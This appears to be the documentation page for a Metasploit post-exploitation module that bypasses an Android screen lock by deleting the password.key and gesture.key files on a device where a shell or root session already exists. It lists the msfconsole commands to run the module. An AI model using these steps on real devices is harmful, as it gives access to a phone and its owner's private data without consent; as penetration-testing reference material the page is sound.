## Description

  This module removes the screen lock data files to remove the unlock mechanism.  If the device
  still has a lock, the password will be blank.

  The file which are removed:

  * /data/system/password.key
  * /data/system/gesture.key

## Verification Steps

  1. Start msfconsole
  2. Get `shell` or `root` access on an Android device
  3. Do: ```use post/android/manage/remove_lock_root```
  4. Do: ```set session [session]```
  5. Do: ```run```
  6. You should be able to unlock the device without a password or gesture.
